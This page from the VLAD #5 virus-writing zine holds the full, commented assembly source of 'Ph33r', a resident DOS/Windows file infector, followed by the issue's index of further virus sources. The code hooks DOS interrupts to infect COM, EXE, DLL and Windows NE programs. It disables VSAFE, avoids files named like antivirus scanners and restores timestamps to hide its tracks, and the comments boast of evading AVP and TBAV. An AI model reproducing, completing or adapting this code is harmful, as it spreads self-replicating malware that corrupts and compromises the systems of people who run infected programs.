Virus Labs & Distribution
VLAD #5 - Ph33r


;
;
;                        Ph33r
;
;                      Qark/VLAD
;
;
;
; This virus is the first ever DOS/Windows virus, infecting COM/EXE/WinEXE
; files.
; The technology of the Windows infection is superior to 'Winsurfer'
; in that the virus goes directly resident, without having to mess around
; infecting the Windows 'shell'.  The Windows entry of the virus allocates
; memory, points a selector to it, copies the virus into the space and
; sets interrupt 21h to the resident virus.  By careful programming it was
; possible to make both the DOS and Win interrupt handlers share the same
; code.
;
; The virus does a few interesting things:
;       Disables MSAV by turning it off (DOS)
;       Gets the original Int 21h using DOSSEG:109Eh (DOS)
;       Won't infect a number of filenames 'AV' 'AN' 'OT' (DOS & Win)
;
; A few annoying things:
;       If the DOS handler traps Int 21h AH=3Dh Windows crashes on load.
;       If the virus infects WIN386.EXE Windows crashes on load.
; These have both been fixed, by removal.
;
; For some unknown reason, the virus causes Debug to crash on exit.
; I haven't fixed this, because I figure anyone who uses Debug will spot
; the virus anyway.  Besides which, I haven't got a clue why it's happening :)
;
; For this virus, AVP & TBAV pick up nothing whilst F-Prot detects it
; heuristically.
;

        org     0

com_entry:                              ;COM files begin execution here.
        call    exec_start
        push    es
        pop     ds

        ;COM file exit.

        mov     di,100h
        push    di

        db      0b8h                    ;MOV AX,xxxx
old2    dw      20cdh
        stosw
        db      0b8h                    ;MOV AX,xxxx
old4    dw      0
        stosw
        
        xor     ax,ax
        xor     bx,bx
        xor     cx,cx
        xor     dx,dx
        xor     si,si
        xor     di,di
        ret

exe_entry:                              ;EXE files begin execution here.
        call    exec_start
        push    es
        pop     ds
        
        ;Setup ss:sp
        mov     ax,ds
        add     ax,10h
        db      5                       ;ADD AX,xxxx
old_ss  dw      0
        mov     ss,ax
        db      0bch                    ;MOV SP,xxxx
old_sp  dw      0

        ;setup the return
        mov     ax,ds
        add     ax,10h
        db      5                       ;ADD AX,xxxx
exe_cs  dw      0
        push    ax
        db      0b8h                    ;MOV AX,xxxx
exe_ip  dw      0
        push    ax
        xor     ax,ax
        xor     bx,bx
        xor     cx,cx
        xor     dx,dx
        xor     si,si
        xor     di,di
        retf

Exec_Start:
        
        cld
        mov     ax,51ffh                ;Test resident.
        int     21h
        cmp     ax,0ff51h
        je      exit_virus

        mov     ax,0fa02h               ;Kill VSAFE.
        mov     dx,5945h                ;Every DOS6+ user has a copy of this.
        xor     bl,bl
        int     16h
        
        mov     ax,ds
        dec     ax
        mov     ds,ax                   ;MCB seg in DS.
        xor     di,di
        cmp     byte ptr [di],'Y'       ;Z block ?
        ja      allocate
exit_virus:
        ret
allocate:
        sub     word ptr [di+3],(offset virus_size*2/16)+1
        sub     word ptr [di+12h],(offset virus_size*2/16)+1
        mov     ax,word ptr [di+12h]

        push    es
        mov     es,ax
        push    cs
        pop     ds
        mov     cx,offset virus_size

        ;Get delta offset in SI
        call    next
next:
        pop     si
        sub     si,offset next

        ;Move virus to free memory.
        rep     movsb

        mov     ds,cx                   ;DS=CX=0 from REP MOVSB

        ;Set int21h
        mov     si,21h*4
        mov     di,offset i21
        push    si
        movsw
        movsw
        pop     si
        mov     di,offset orig21
        movsw
        movsw

        mov     word ptr [si-4],offset int21handler
        mov     word ptr [si-2],es

        push    es
        mov     ah,52h                  ;Thanx Neurobasher!
        int     21h
        mov     ax,es
        pop     es
        mov     ds,ax

        mov     si,109eh                ;DS:109Eh = Original Int 21 I hope.
        lodsw
        cmp     ax,9090h
        jne     reset21
        lodsb
        cmp     al,0e8h
        jne     reset21
        mov     word ptr es:orig21,10a0h
        mov     word ptr es:orig21+2,ds
reset21:
        pop     es
        ret

        db      '=Ph33r='

win21:                          ;Windows interrupt handling begins here.
        cmp     ax,51feh
        jne     non_w_res
        xchg    al,ah
        iret
non_w_res:
        cmp     ax,4b00h                ;Execute.
        je      check_infect
        cmp     ah,3dh                  ;File Open.
        je      check_infect
        cmp     ah,56h                  ;Rename.
        je      check_infect
        cmp     ah,43h                  ;Chmod.
        jne     int_exit

check_infect:
        pushf
        pusha
        push    ds
        push    es
        
        mov     ax,0ah                  ;This function makes our CS writable.
        mov     bx,cs
        int     31h
        mov     es,ax

        call    setup_infect

        pop     es
        pop     ds
        popa
        popf
        
        jmp     int_exit

int21handler:                           ;DOS interrupt handling begins here.
        cmp     ax,51ffh
        jne     non_res
        xchg    al,ah
        iret

        db      'Qark/VLAD'

non_res:
;For some reason, checking for AH=3dh crashes windows when its booting.

        cmp     ax,4b00h                ;Execute.
        je      do_file
        cmp     ah,6ch                  ;Open.
        je      do_file
        cmp     ah,56h                  ;Rename.
        je      do_file
        cmp     ah,43h                  ;Chmod.
        je      do_file

int_exit:
        db      0eah
i21     dd      0

do_file:
        push    es
        push    dx
        cmp     ah,6ch
        jne     no_6c_fix
        mov     dx,si
no_6c_fix:
        push    cs
        pop     es
        call    setup_infect
        pop     dx
        pop     es
                
        jmp     int_exit

setup_infect:
;on entry to this call, es=writable cs
;ds:dx=filename
        pushf
        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    di
        push    ds
        push    es
        cld
        mov     si,dx
asciiz:
        lodsb
        cmp     al,0
        jne     asciiz
        sub     si,4
        lodsw
        or      ax,2020h
        cmp     ax,'xe'                 ;EXE
        je      do_inf
        cmp     ax,'ld'                 ;DLL
        je      do_inf
        cmp     ax,'oc'                 ;COM
        jne     not_name
do_inf:
        cmp     word ptr [si-5],'68'    ;Dont infect WIN386.EXE (hangs)
        je      not_name
        mov     ax,word ptr [si-5]
        or      ax,2020h                ;Lowercase.
        cmp     ax,'va'                 ;Don't touch files that end in AV
        je      not_name                ;eg TBAV
        cmp     ax,'vd'                 ;DV.COM checks DV.EXE
        je      not_name
        cmp     ax,'na'                 ;Don't touch files that end in AN
        je      not_name                ;eg SCAN, TBSCAN
        cmp     ax,'to'                 ;Don't touch files that end in OT
        je      not_name                ;eg F-PROT

        call    infect
not_name:
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        popf

        ret

Infect:
;DS:DX=Filename, ES=our data segment
        cld
        mov     ax,3d02h                ;Open file to be infected.
        call    int21h
        jnc     file_opened
        ret
file_opened:
        xchg    bx,ax                   ;File handle into BX.
        push    es
        pop     ds
  
        mov     ah,3fh                  ;Read from file.
        mov     cx,512
        mov     dx,offset virus_size
        call    int21h

        mov     si,offset virus_size
        
        mov     ax,word ptr [si]
        or      ax,2020h
        cmp     ax,'zm'                 ;Test for EXE header
        je      check_exe
        jmp     com_infect
check_exe:
        cmp     word ptr [si+12h],0afafh        ;Infection marker.
        jne     not_infected
bad_mem:
        jmp     com_end
not_infected:
        cmp     word ptr [si+18h],40h           ;Windows executable.
        jb      exe_infect
        jmp     windows_infect
exe_infect:
        cmp     word ptr [si+0ch],-1            ;Maxmem = All
        jne     bad_mem
        
        call    lseek_end                       ;Get file length in DX:AX
        or      dx,dx
        jnz     ok_exe_size
        cmp     ax,1000
        jb      bad_mem
ok_exe_size:
        mov     cx,512
        div     cx
        inc     ax
        cmp     [si+4],ax                       ;Check for overlays.
        ja      bad_mem

        mov     ax,word ptr [si+0eh]            ;Save the original SS:SP
        mov     word ptr old_ss,ax
        mov     ax,word ptr [si+10h]
        mov     word ptr old_sp,ax

        mov     ax,word ptr [si+14h]            ;Save the original CS:IP
        mov     word ptr exe_ip,ax
        mov     ax,word ptr [si+16h]
        mov     word ptr exe_cs,ax

        call    lseek_end
        mov     cx,16
        div     cx

        sub     ax,word ptr [si+8]
        add     dx,offset exe_entry
        mov     word ptr [si+14h],dx    ;New IP
        mov     word ptr [si+16h],ax    ;New CS
        
        dec     ax
        mov     word ptr [si+0eh],ax
        add     dx,1500
        and     dx,0fffeh
        mov     word ptr [si+10h],dx

        call    save_time

        mov     cx,offset virus_size
        mov     ah,40h
        xor     dx,dx
        call    int21h

        call    lseek_end

        mov     cx,512
        div     cx
        or      dx,dx
        jz      no_page_fix
        inc     ax
no_page_fix:
        mov     word ptr [si+4],ax
        mov     word ptr [si+2],dx
        call    lseek_start
        
        mov     word ptr [si+12h],0afafh        ;Set infection marker.
        mov     ah,40h
        mov     dx,si
        mov     cx,1ch
        call    int21h

        call    restore_time

        jmp     com_end

com_infect:
        cmp     byte ptr [si+3],0afh    ;Com infection marker.
        je      com_end

        ;Save first four com file bytes.
        mov     di,offset old2
        movsw
        mov     di,offset old4
        movsw
        
        mov     ax,4202h                ;Lseek to file end.
        xor     cx,cx
        cwd
        call    int21h

        or      dx,dx                   ;Check if > 64k
        jnz     com_end
        cmp     ax,60000                ;Check if > 60000
        ja      com_end
        cmp     ax,1024
        jb      com_end

        sub     ax,3
        mov     word ptr com_jmp+1,ax

        call    save_time

        mov     ah,40h                  ;Write virus body to file.
        mov     cx,offset virus_size
        xor     dx,dx
        call    int21h
        jc      com_end

        mov     ax,4200h                ;Lseek to file start.
        xor     cx,cx
        cwd
        call    int21h

        mov     ah,40h                  ;Write jump to start of file.
        mov     cx,4
        mov     dx,offset com_jmp
        call    int21h

com_time_end:
        call    restore_time

com_end:
        mov     ah,3eh                  ;Close file.
        call    int21h

        ret

windows_infect:

        ;Move the Newexe pointer forward.
        push    word ptr [si+3ch]
        pop     word ptr newexe_off

        sub     word ptr [si+3ch],8
        cmp     word ptr [si+3eh],0     ;Dont want any NE headers at off >64k
        jne     com_end
        
        mov     word ptr [si+12h],0afafh        ;Set infection marker.
        
        ;Lseek back to start of the file.
        mov     ax,4200h
        xor     cx,cx
        cwd
        call    int21h

        call    save_time

        ;Write header back.
        mov     ah,40h
        mov     cx,512
        mov     dx,offset virus_size
        call    int21h
        
        jc      com_end

        ;Lseek to new exe header
        mov     ax,4200h
        mov     dx,word ptr newexe_off
        xor     cx,cx
        call    int21h

        ;Read in new exe header
        mov     ah,3fh
        mov     cx,512
        mov     dx,offset virus_size
        call    int21h

        ;Adjust header pointers
        mov     ax,word ptr [si+22h]    ;AX=Segment table offset.
        cmp     word ptr [si+4],ax
        jb      ok_et
        add     word ptr [si+4],8
ok_et:
        cmp     word ptr [si+24h],ax
        jb      ok_rt
        add     word ptr [si+24h],8
ok_rt:
        cmp     word ptr [si+26h],ax
        jb      ok_rnt
        add     word ptr [si+26h],8
ok_rnt:
        cmp     word ptr [si+28h],ax
        jb      ok_mrt
        add     word ptr [si+28h],8
ok_mrt:
        cmp     word ptr [si+2ah],ax
        jb      ok_int
        add     word ptr [si+2ah],8
ok_int:
        mov     ax,word ptr [si+1ch]
        inc     word ptr [si+1ch]       ;Increase segment count.
        xor     dx,dx
        mov     cx,8
        mul     cx

        add     ax,word ptr [si+22h]    ;AX=Offset of segment table end.
        adc     dx,0
        mov     cx,512                  ;512 byte portions are used
                                        ; for the reads later on.
        div     cx

        mov     word ptr ne_size,ax
        mov     word ptr last_ne,dx

        ;Put the original CS:IP into our relocation table.
        push    word ptr [si+14h]
        pop     word ptr old_ip
        push    word ptr [si+16h]
        pop     word ptr old_cs

        ;Save the alignment shift count because we need that for calculating
        ;the offset of our segment when writing the segment entry.
        push    word ptr [si+32h]
        pop     word ptr al_shift

        ;Point CS:IP to the virus.
        mov     word ptr [si+14h],offset win_entry      ;The new IP
        mov     ax,word ptr [si+1ch]
        mov     word ptr [si+16h],ax                    ;The new CS

        ;Initialise the lseek variable
        push    word ptr newexe_off
        pop     word ptr lseek

        ;The below code gets the NE header and keeps moving it forward by
        ;eight bytes in 512 byte chunks.
move_header_forward:
        mov     ax,word ptr ne_size
        or      ax,ax
        jz      last_page

        dec     word ptr ne_size

        mov     ax,4200h                ;Lseek to our current position.
        xor     cx,cx
        mov     dx,word ptr lseek
        sub     dx,8
        call    int21h

        mov     ah,40h                  ;Write the header section out.
        mov     cx,512
        mov     dx,si
        call    int21h

        add     word ptr lseek,512

        mov     ax,4200h                ;Lseek to the next chunk.
        xor     cx,cx
        mov     dx,word ptr lseek
        call    int21h

        mov     ah,3fh                  ;Read it.
        mov     dx,offset virus_size
        mov     cx,512
        call    int21h

        jmp     move_header_forward

last_page:
        mov     ax,4202h                ;Lseek to end of file.
        xor     cx,cx
        cwd
        call    int21h                  ;File length into DX:AX

        ;DX:AX=File offset of our segment
        ;Below section shifts the segment offset right by the alignment
        ;shift value.
        mov     cl,byte ptr al_shift
        push    bx
        mov     bx,1
        shl     bx,cl
        mov     cx,bx
        pop     bx
        div     cx

        mov     word ptr lseek_add,0
        or      dx,dx
        jz      no_extra
        sub     cx,dx
        mov     word ptr lseek_add,cx
        inc     ax
no_extra:
        mov     di,si
        add     di,word ptr last_ne

        ;Adding the new segment table entry
        mov     word ptr [di],ax        ;Segment offset
        mov     word ptr [di+2],offset virus_size
        mov     word ptr [di+4],180h    ;Segment attribute
                                        ; 180h = NonMovable + Relocations
        mov     word ptr [di+6],offset virus_size+512

        mov     ax,4200h                ;Lseek to next position.
        xor     cx,cx
        mov     dx,word ptr lseek
        sub     dx,8
        call    int21h

        mov     ah,40h          ;Write rest of NE header + new seg entry.
        mov     cx,word ptr last_ne
        add     cx,8            ;Added segment entry means eight more.
        mov     dx,offset virus_size
        call    int21h

        ;Reset the relocatable pointer.
        push    word ptr winip
        push    word ptr wincs
        mov     word ptr winip,0
        mov     word ptr wincs,0ffffh

        mov     ax,4202h                ;Lseek to end of file.
        xor     cx,cx
        mov     dx,word ptr lseek_add
        call    int21h

        mov     ah,40h                  ;Write main virus body.
        mov     cx,offset virus_size
        xor     dx,dx
        call    int21h

        pop     word ptr wincs
        pop     word ptr winip

        mov     ah,40h                  ;Write the relocation item.
        mov     cx,offset reloc_end - offset relocblk
        mov     dx,offset relocblk
        call    int21h

        jmp     com_time_end

int21h:                                 ;Simulated int 21 call.
        pushf
        call    dword ptr cs:orig21
        ret
orig21  dd      0

win_entry:                              ;WinEXE files begin execution here.
        pusha
        push    ds
        push    es

        mov     ax,51feh                ;Residency test.
        int     21h
        cmp     ax,0ff51h
        je      no_wintsr
        
        mov     ax,000ah                ;Make CS writable.
        mov     bx,cs
        int     31h                     ;Use DPMI.
        mov     ds,ax

        mov     ax,0204h                ;Get real mode interrupt vector.
        mov     bl,21h
        int     31h

        mov     word ptr i21,dx         ;Save int21
        mov     word ptr i21+2,cx

        mov     word ptr orig21,dx
        mov     word ptr orig21+2,cx

        mov     ax,501h
        xor     bx,bx                   ;Allocate Linear region
        mov     cx,offset v_mem_size
        int     31h

        push    bx
        push    cx

        xor     ax,ax
        mov     cx,1                    ;Create a Selector
        int     31h

        mov     bx,ax
        mov     ax,7
        pop     dx                      ;Point selector to linear region.
        pop     cx
        int     31h

        mov     ax,8
        xor     cx,cx                   ;Set selector limit
        mov     dx,offset v_mem_size
        int     31h

        mov     es,bx
        mov     cx,offset v_mem_size
        xor     si,si                   ;Copy virus to the linear region
        xor     di,di
        cld
        rep     movsb

        mov     bx,es
        mov     ax,9                    ;Set access rights to 'Code'
        mov     cx,0ffh
        int     31h

        mov     cx,es
        mov     dx,offset win21
        mov     ax,205h
        mov     bl,21h
        int     31h                     ;Set real mode interrupt vector.

        mov     ax,4
        push    es
        pop     bx                      ;Lock the selector
        int     31h

no_wintsr:
        pop     es
        pop     ds
        popa

        db      0eah                    ;Return to original file.
winip   dw      0
wincs   dw      0ffffh

;-----------------------
;Infection Procedures
;-----------------------
Save_Time:
        push    ax
        push    cx
        push    dx

        mov     ax,5700h
        call    int21h

        mov     word ptr time,cx
        mov     word ptr date,dx

        pop     dx
        pop     cx
                                                                                pop     ax
        ret

Restore_Time:
        push    ax
        push    cx
        push    dx

        db      0bah            ;MOV DX,xxxx
        date    dw      0

        db      0b9h            ;MOV CX,xxxx
        time    dw      0

        mov     ax,5701h
        call    int21h

        pop     dx
        pop     cx
        pop     ax
        ret

Lseek_Start:
        mov     al,0
        jmp     short lseek2
Lseek_End:
        mov     al,2
lseek2:
        mov     ah,42h
        xor     cx,cx
        cwd
        call    int21h
        ret

;-----------------------
;Infection Data
;-----------------------
;Com infection data.
com_jmp         db      0e9h,0,0,0afh

;-----------------------
;Windows infection data.
newexe_off      dw      0
al_shift        dw      0
ne_size         dw      0
last_ne         dw      0
lseek           dw      0
lseek_add       dw      0

Relocblk:
        dw      1       ;Number of relocation items

        db      3       ;32bit pointer relocation
        db      4       ;Additive relocation
        dw      offset winip
old_cs  dw      0       ;The stored original CS & IP of host.
old_ip  dw      0


Reloc_end:
;-----------------------

virus_size:
        db      512 dup (0)     ;Storage buffer.
v_mem_size:

- VLAD #5 INDEX -

ARTICLE.1_1      

Introduction
ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag

ARTICLE.2_1      

AIH
ARTICLE.2_2       Neuroquila disasm
ARTICLE.2_3       Uruguay#3 disasm
ARTICLE.2_4       Immortal Riot
ARTICLE.2_5       Fog.doc
ARTICLE.2_6       Fog.asm
ARTICLE.2_7       AP-Poly

ARTICLE.3_1      

Dying Oath
ARTICLE.3_2       Win API tutorial
ARTICLE.3_3       Poly primer
ARTICLE.3_4       NoMut v0.01
ARTICLE.3_5       Demon3b
ARTICLE.3_6       SDFEe20 source
ARTICLE.3_7       ZL 2.0 source

ARTICLE.4_1      

Virus Descriptions
ARTICLE.4_2       Horsa
ARTICLE.4_3       Ph33r
ARTICLE.4_4       Wintiny
ARTICLE.4_5       Midnight
ARTICLE.4_6       Arme Stoevlar
ARTICLE.4_7       Small Virus

ARTICLE.5_1      

Alive
ARTICLE.5_2       Winlamer2
ARTICLE.5_3       Lady Death
ARTICLE.5_4       H8urNMEs
ARTICLE.5_5       Sepboot
ARTICLE.5_6       Fame
ARTICLE.5_7       Int Patch

About VLAD - Links - Contact Us - Main